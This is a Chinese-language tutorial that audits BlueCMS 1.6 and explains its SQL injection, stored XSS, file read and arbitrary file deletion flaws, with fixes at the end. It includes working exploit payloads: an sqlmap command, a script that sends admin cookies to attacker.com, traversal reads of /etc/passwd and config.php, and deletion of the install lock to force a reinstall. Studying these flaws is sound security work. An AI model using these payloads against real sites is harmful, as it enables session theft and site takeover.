记一次blue代码审计-学习篇
字数 1215 2025-08-15 21:32:58

BlueCMS 1.6 代码审计教学文档

0x00 概述

本文档详细分析BlueCMS 1.6版本中存在的多个安全漏洞,包括SQL注入、存储型XSS、文件包含和任意文件删除漏洞。通过本教学文档,您将学习到如何识别和利用这些常见的安全漏洞。

0x01 SQL注入漏洞

漏洞位置

ad_js.php文件

漏洞分析

  1. 漏洞存在于ad_js.php文件中,该文件包含一条未经过滤的数据库查询语句
  2. $ad_id参数获取方式:
    • 判断是否为空
    • 如果有值,获取id首尾去空
    • 否则给空值
  3. 使用getone方法执行SQL语句,该方法未对输入做任何过滤

关键代码

// ad_js.php
$ad_id = !empty($_REQUEST['ad_id']) ? trim($_REQUEST['ad_id']) : '';
if(empty($ad_id)){
    echo 'Error!';
    exit();
}

// 调用getone方法执行SQL
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
// getone方法实现
function getone($sql){
    $query = $this->query($sql);
    return $this->fetch_array($query);
}

漏洞验证

  1. 访问ad_js.php不传参会返回"Error!"
  2. 构造payload:ad_js.php?ad_id=1'
  3. 抛出SQL异常,确认存在SQL注入

利用方法

可以使用SQLmap工具进行自动化注入:

sqlmap -u "http://target/ad_js.php?ad_id=1" --dbs

0x02 存储型XSS漏洞

漏洞位置

user.php文件

漏洞分析

  1. 注册页面存在XSS漏洞点:
    • 用户名长度限制为16字符,难以利用
    • 邮箱字段无有效过滤
  2. 后台会员管理页面会显示用户邮箱,导致XSS执行
  3. 修改个人资料处同样存在存储型XSS

关键代码

// 用户注册/修改资料代码
// 无邮箱字段过滤
$email = $_POST['email'];
// 直接存入数据库

漏洞验证

  1. 注册用户时,抓包修改email参数为XSS payload:
    <script>alert('XSS')</script>
    
  2. 管理员查看会员列表时触发XSS
  3. 可窃取管理员cookie

利用方法

构造恶意payload窃取cookie:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

0x03 文件包含漏洞

漏洞位置

通过自动审计发现的文件包含函数

漏洞分析

  1. act变量等于edit
  2. 获取tpl_name的GET参数
  3. 直接读取文件内容,无任何过滤

关键代码

if($act == 'edit'){
    $tpl_name = $_GET['tpl_name'];
    $content = file_get_contents($tpl_name);
    // ...
}

漏洞验证

构造payload读取系统文件:

?act=edit&tpl_name=/etc/passwd

利用方法

  1. 读取敏感文件:
    ?act=edit&tpl_name=../../config.php
    
  2. 结合PHP伪协议执行代码:
    ?act=edit&tpl_name=php://filter/convert.base64-encode/resource=index.php
    

0x04 任意文件删除漏洞

漏洞位置

通过自动审计发现的文件删除功能

漏洞分析

  1. act等于del_pic
  2. 获取id参数
  3. 直接调用删除方法,无任何过滤

关键代码

if($act == 'del_pic'){
    $id = $_GET['id'];
    // 直接删除文件
    unlink($id);
}

漏洞验证

构造payload删除文件:

?act=del_pic&id=test.txt

利用方法

  1. 删除网站关键文件导致拒绝服务
  2. 删除安装锁文件进行重安装攻击:
    ?act=del_pic&id=../install/lock.txt
    

0x05 修复建议

  1. SQL注入修复

    • 使用预处理语句
    • 对输入参数进行严格过滤
    • 修改getone方法增加过滤逻辑
  2. XSS修复

    • 对所有用户输入进行HTML实体编码
    • 使用htmlspecialchars()函数过滤输出
    • 限制特殊字符输入
  3. 文件包含修复

    • 限制包含文件路径
    • 使用白名单验证文件名
    • 禁用危险PHP伪协议
  4. 文件删除修复

    • 验证文件路径合法性
    • 限制删除操作权限
    • 记录文件删除日志

0x06 总结

BlueCMS 1.6版本存在多处严重安全漏洞,包括SQL注入、存储型XSS、文件包含和任意文件删除。这些漏洞都源于对用户输入缺乏有效过滤和验证。开发人员应遵循"不信任任何用户输入"的原则,对所有输入进行严格验证和过滤,以保障系统安全。

BlueCMS 1.6 代码审计教学文档 0x00 概述 本文档详细分析BlueCMS 1.6版本中存在的多个安全漏洞,包括SQL注入、存储型XSS、文件包含和任意文件删除漏洞。通过本教学文档,您将学习到如何识别和利用这些常见的安全漏洞。 0x01 SQL注入漏洞 漏洞位置 ad_js.php 文件 漏洞分析 漏洞存在于 ad_js.php 文件中,该文件包含一条未经过滤的数据库查询语句 $ad_id 参数获取方式: 判断是否为空 如果有值,获取id首尾去空 否则给空值 使用 getone 方法执行SQL语句,该方法未对输入做任何过滤 关键代码 漏洞验证 访问 ad_js.php 不传参会返回"Error !" 构造payload: ad_js.php?ad_id=1' 抛出SQL异常,确认存在SQL注入 利用方法 可以使用SQLmap工具进行自动化注入: 0x02 存储型XSS漏洞 漏洞位置 user.php 文件 漏洞分析 注册页面存在XSS漏洞点: 用户名长度限制为16字符,难以利用 邮箱字段无有效过滤 后台会员管理页面会显示用户邮箱,导致XSS执行 修改个人资料处同样存在存储型XSS 关键代码 漏洞验证 注册用户时,抓包修改email参数为XSS payload: 管理员查看会员列表时触发XSS 可窃取管理员cookie 利用方法 构造恶意payload窃取cookie: 0x03 文件包含漏洞 漏洞位置 通过自动审计发现的文件包含函数 漏洞分析 当 act 变量等于 edit 时 获取 tpl_name 的GET参数 直接读取文件内容,无任何过滤 关键代码 漏洞验证 构造payload读取系统文件: 利用方法 读取敏感文件: 结合PHP伪协议执行代码: 0x04 任意文件删除漏洞 漏洞位置 通过自动审计发现的文件删除功能 漏洞分析 当 act 等于 del_pic 时 获取 id 参数 直接调用删除方法,无任何过滤 关键代码 漏洞验证 构造payload删除文件: 利用方法 删除网站关键文件导致拒绝服务 删除安装锁文件进行重安装攻击: 0x05 修复建议 SQL注入修复 : 使用预处理语句 对输入参数进行严格过滤 修改 getone 方法增加过滤逻辑 XSS修复 : 对所有用户输入进行HTML实体编码 使用 htmlspecialchars() 函数过滤输出 限制特殊字符输入 文件包含修复 : 限制包含文件路径 使用白名单验证文件名 禁用危险PHP伪协议 文件删除修复 : 验证文件路径合法性 限制删除操作权限 记录文件删除日志 0x06 总结 BlueCMS 1.6版本存在多处严重安全漏洞,包括SQL注入、存储型XSS、文件包含和任意文件删除。这些漏洞都源于对用户输入缺乏有效过滤和验证。开发人员应遵循"不信任任何用户输入"的原则,对所有输入进行严格验证和过滤,以保障系统安全。